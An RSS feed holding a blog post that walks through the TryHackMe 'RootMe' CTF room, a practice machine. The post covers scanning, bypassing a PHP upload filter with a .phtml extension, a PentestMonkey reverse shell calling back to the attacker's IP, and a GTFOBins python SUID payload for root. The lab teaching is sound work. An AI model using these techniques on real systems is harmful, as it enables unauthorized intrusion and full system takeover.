<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Adithyapadmanabhan K B on Medium]]></title>
        <description><![CDATA[Stories by Adithyapadmanabhan K B on Medium]]></description>
        <link>https://medium.com/@adithyapadmanabhankb15?source=rss-8c479b89c862------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*iYD3ATUPzUCh2qWg</url>
            <title>Stories by Adithyapadmanabhan K B on Medium</title>
            <link>https://medium.com/@adithyapadmanabhankb15?source=rss-8c479b89c862------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 13:51:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@adithyapadmanabhankb15/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[RootMe -TryHackMe CTF Challenge Walkthrough]]></title>
            <link>https://medium.com/@adithyapadmanabhankb15/rootme-tryhackme-ctf-challenge-walkthrough-0934f50cd01f?source=rss-8c479b89c862------2</link>
            <guid isPermaLink="false">https://medium.com/p/0934f50cd01f</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Adithyapadmanabhan K B]]></dc:creator>
            <pubDate>Sat, 14 Feb 2026 08:20:46 GMT</pubDate>
            <atom:updated>2026-02-14T08:20:46.505Z</atom:updated>
            <content:encoded><![CDATA[<h4>A TryHackMe CTF for beginners</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*bQioFGXV71bZOkThFjEdmA.png" /></figure><h3>Introduction</h3><p>In this write-up, I’ll be documenting my approach to solving a challenge from <strong>RootMe</strong>, a hands-on platform designed to simulate real-world cybersecurity scenarios. The room required a structured penetration testing methodology — starting with reconnaissance and enumeration, identifying vulnerabilities, exploiting misconfigurations, and ultimately gaining elevated access to capture the final flag.</p><p>Room link is given below</p><p><a href="https://tryhackme.com/room/rrootme">https://tryhackme.com/room/rrootme</a></p><h3>TASK 1 : START THE MACHINE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oq5nSwFdpvjT1DUu8RDCEQ.png" /></figure><p>Connect to TryHackMe network From linux using openvpn. If you don’t know how to do this, complete the <a href="https://tryhackme.com/room/openvpn">OpenVPN room</a> first.</p><h3>TASK 2 : RECONNAISSANCE</h3><p><strong>1.Scan the machine to see how many ports are open.</strong><br>Open up your terminal and run the command shown below to find all the information needed for this task.</p><pre>nmap &lt;TARGET MACHINE_IP&gt; -sV -sC</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cRZfvnmsZPNm9ez2DXUEKw.png" /></figure><p>From this we discovered open ports are 2 .</p><p>port 22 -&gt; ssh</p><p>port 80 -&gt; http</p><p>Apache version -&gt; 2.4.41</p><p><strong>2.Find directories on the web server using the GoBuster tool.</strong></p><p><strong>Gobuster</strong> is a powerful directory and file brute-forcing tool used during the enumeration phase of penetration testing. It helps discover hidden files, directories, and endpoints on a web server that are not directly accessible through normal navigation.</p><p>Go to terminal and type the command below</p><pre>gobuster dir -u http:// &lt;TARGET MACHINE_IP&gt; -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b47hvDKjxdLv1P8F1iojNg.png" /></figure><p>The <strong>Gobuster</strong> scan identified common directories such as /uploads/, /css/, and /js/, which are typically used for static files and user content. These are standard in most web applications and usually don’t indicate a vulnerability on their own.</p><p>However, the /panel/ directory stood out. It likely represents an administrative interface, making it a high-value target. If not properly secured, it could expose sensitive functionality or provide unauthorized access.</p><h3>Now lets complete TASK 2 questions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZlnmACsBCWR5Y-oQ_iTBCQ.png" /></figure><h3>TASK 3 : GETTING A SHELL</h3><p>Now, we need to exploit this /panel page. Going to the provided website’s /panel directory gave us this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*Hwx1HYh8STrCngKqVSAe1g.png" /></figure><p>On this page it looks like we will be able to upload files. Very interesting. Let’s test it.Create a file named hi<em>.txt</em>, on your machine, containing some arbitrary string. Click on the ‘<strong><em>Browse…</em></strong>’ button to select hi<em>.txt</em>, then click the ‘<strong><em>Upload</em></strong>’ button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*rWmVFUJTIURAqKPIiGO5rQ.png" /></figure><p>The page responds in Portuguese saying “<em>The file has been successfully uploaded!</em>”. Nice! It looks like it works.</p><p>Go to http://&lt;TARGET_IP&gt;/uploads/ to view our upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*Ix_lYmWnfvA5mqf2Oa0aEw.png" /></figure><p>We can see our ‘hi<em>.txt</em>’ file was successfully uploaded.</p><p>Now we can think about using a <strong><em>reverse shell</em></strong> to gain an initial foothold on the machine.</p><p>A <strong><em>reverse shell</em></strong> is a technique where the target system initiates a connection back to the attacker’s machine, providing command-line access to the target. These reverse shell payloads can be adapted based on the target’s available tools, such as Bash, Python, PHP, or Netcat.</p><p>For this task we will upload php reverse shell script. You can get the script from the following link</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell">GitHub - pentestmonkey/php-reverse-shell</a></p><ol><li>Clone the php-reverse-shell repository from GitHub (PentestMonkey’s PHP Reverse Shell)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*SpByMDmkkIMeB90rxOuNyw.png" /></figure><pre>git clone <a href="https://github.com/pentestmonkey/php-reverse-shell">https://github.com/pentestmonkey/php-reverse-shell</a></pre><p>2. List the content and Navigate into the directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*_F_VBZ8-M4YmsDzmT5onvQ.png" /></figure><p>3. List the content and Open the php-reverse-shell.php file using tex editor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*rM4Y0DR_nRxNBpXOhNtwgA.png" /></figure><p>4. Look for the following section in the script, where you will modify the ip address and port variables:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeT8iWwSmO3DQ5mgoq4cXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4O7zds1uESX2s6zUmVLdw.png" /></figure><pre>// CHANGE THIS<br>$ip = &#39;YOUR_IP&#39;;  // Your IP address for the reverse shell connection,if you are using openvpn use the tun0 ip address<br>$port = YOUR_PORT;  // The port number you will use for the listener</pre><p>CTRL + o to save after Enter and CTRL + X to exit.</p><p>6. Select the php-reverse-shell.php file and click Upload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*CzTuFCO-rJleklc9bv8Xug.png" /></figure><p>The Uplode result shows an error message, that means the PHP file is not allowed. This indicates that the upload system is blocking the upload of PHP files for security reasons.</p><p>It looks like PHP files are blocked from being uploaded. So we need another way.</p><p>Many upload forms block files by:</p><ul><li>Blocking certain extensions like .php, .php3, etc.</li><li>Checking the MIME type (file type)</li><li>Using only client-side validation (which can sometimes be bypassed)</li></ul><p>So the idea is to upload a file that can still be executed as PHP by Apache, but does not clearly look like a .php file to the filter. If PHP is enabled, Apache may still treat some other extensions as PHP and execute them.</p><pre>.phtml<br>.php5<br>.php7<br>.phar</pre><p>I changed my file extension from <em>‘.php’</em> to <em>‘.phtml’</em>. Then tried it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*50k25a3-Wq3ML6pCHPruPQ.png" /></figure><p>7. Now Select the php-reverse-shell.phtml file and click Upload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*cn2Up1el_dgQOnpIkzmS8g.png" /></figure><p>It worked! Let’s verify it uploaded by checking <em>http://&lt;TARGET_IP&gt;/uploads/</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*CQQMdnhrxMPEePwrcUIChQ.png" /></figure><p>upload was sucessfull we can see the payload.</p><p>Next we need to set up our listening port in our terminal using Netcat.</p><pre>nc -lvnp &lt;LISTENING_PORT&gt;</pre><p>give the listening port number u given in the php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*U1XkHNV7lFlCGxF51hWmJw.png" /></figure><p>Once your machine is listening, on http://&lt;TARGET_IP&gt;/uploads/, click on your payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*a-wQSaN-Cn6HBwlL4p96ww.png" /></figure><p>Get back to terminal where we started listener, We have successfully gained shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GHFX2hK796p-4-AR-9wlIg.png" /></figure><p>Execute command whoami to get username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qb7GvW9RDWafJLIaz9OJKg.png" /></figure><p>8. find the user.txt file</p><p>we will need to find the <strong>user.txt</strong>. If you search using the ‘<em>ls</em>’ command, you will be searching for a while. To speed things up use the following:</p><pre>find / -type f -name user.txt 2&gt;/dev/null</pre><p>Here we are:</p><ul><li><strong>find</strong> — searches for files and directories</li><li><strong>/</strong> — starts the search from the root of the filesystem</li><li><strong>-type f</strong> — limits results to files only</li><li><strong>-name user.txt</strong> — looks specifically for a file named user.txt</li><li><strong>2&gt;/dev/null</strong> — sends all error output <strong><em>(like permission denied)</em></strong> into the void</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*SrC1IhXqm6ybB9tyN2h12g.png" /></figure><p>Once found, simply ‘<em>cat</em>’ out the entire file path:</p><pre>cat /var/www/user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*agcAKsCSKkqIrO4cPUEKRw.png" /></figure><p>It will respond with the flag for challenge question #7 in <strong>Task 3 — Getting a shell</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-oYQ4Efl9NAoQ8MeeYbH_A.jpeg" /></figure><h3>TASK 4 : PRIVILEGE ESCALATION</h3><p>Search for files with SUID permissions, which file is weird?</p><p>Use the following find command to search for files.</p><pre>find / -type f -user root -perm -u=s 2&gt;/dev/null</pre><p>This line does the following:</p><ul><li><strong>find /</strong> — Search starting from the root directory (the entire filesystem)</li><li><strong>-type f</strong> — Only look for regular files (ignore directories, devices, etc.)</li><li><strong>-user root</strong> — Only return files owned by the root user</li><li><strong>-perm -u=s</strong> — Find files with the SUID bit set</li><li><strong>2&gt;/dev/null</strong> — Redirects permission errors (which would clutter output) into the void</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*u7YzrGXOVGfHQbuhP3f_-w.png" /></figure><p>There wille be a long list of results. The one that sticks out as weird is <strong>/usr/bin/python2.7</strong></p><p>Python is considered risky in this situation because it is a powerful scripting interpreter capable of running system commands and executing arbitrary code. If the Python binary has the SUID bit set and is owned by root, it will execute with root privileges regardless of which user runs it. This means any regular user who has permission to execute that binary could potentially run commands as root and gain full control of the system, which is why interpreters like Python should never have SUID enabled on a properly secured system.</p><p>Now we need to find a way to leverage python to give us root access.</p><p>To do so, visit the following link</p><p><a href="https://gtfobins.org/">GTFOBins</a></p><p>GTFOBins is a community-maintained resource that shows how common Unix programs like python, bash, find, or vim can be abused to escape restricted shells, read files, or escalate privileges when they are misconfigured or run with elevated permissions.</p><p>Search for ‘<em>python</em>’ in the ‘<em>Filter</em>’ box, then click ‘<em>Shell</em>’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DomKwDN3dA4Lm0bF1MqJDA.jpeg" /></figure><p>After clicking on ‘<em>Shell</em>’, towards the top of the page, click on the ‘<em>SUID</em>’ tab to view the payload we are going to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*VuWEWvCNsqFk1SPC-jF2DA.png" /></figure><p>payload:</p><pre>python -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#39;</pre><p>This command will:</p><ul><li><strong>python</strong> — Runs the Python interpreter</li><li><strong>-c</strong> — Tells Python to execute the following code directly from the command line, instead of running a script file</li><li><strong>import os</strong> — Imports Python’s os module, which provides access to low-level operating system functions.</li><li><strong>os.execl()</strong> — System call wrapper that replaces the current process with a new executable while inheriting the current process’s privileges. In other words, Python stops existing, and <strong>/bin/sh</strong> takes its place.</li><li><strong>“/bin/sh”</strong> — The shell binary we want to execute.</li><li><strong>“sh”</strong> — The name the program sees itself as (conventional and required).</li><li><strong>“-p”</strong> — Tells the shell to preserve privileges. (<strong>most important part</strong>)</li></ul><p>After running the command your ‘<em>$</em>’ prompt will disappear, but you will now be ‘root’. Run whoami to confirm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*VKGfpZT3cNqhOSDVrG_riA.png" /></figure><p>Now lets find ‘<em>root.txt</em>’ the same way we found ‘<em>user.txt</em>’.</p><pre>find / -type f -name root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*UQWd9eFZnX1YsnnJZZCtPQ.png" /></figure><p>Once found, ‘cat’ out the results.</p><pre>cat /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*zWq9vGF41TUE8Pfi3Nur3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zeavxIzRD1ZPsYUj7DN8Mw.jpeg" /></figure><p><strong>Congratulations!</strong> You have completed the Room. Keep up the great work!</p><h3>overview</h3><p>In this machine:</p><ul><li>Multiple common web misconfigurations are chained together to achieve full system compromise.</li><li>Web and directory enumeration reveal hidden upload functionality.</li><li>Insecure file upload handling results in remote code execution.</li><li>Weak file extension filtering can be bypassed easily.</li><li>A reverse shell provides a stable foothold for post-exploitation.</li><li>Low-privileged users like www-data are enough to continue internal enumeration.</li><li>Misconfigured SUID binaries allow privilege escalation to root.</li><li>Resources like GTFOBins help identify privilege escalation techniques.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0934f50cd01f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>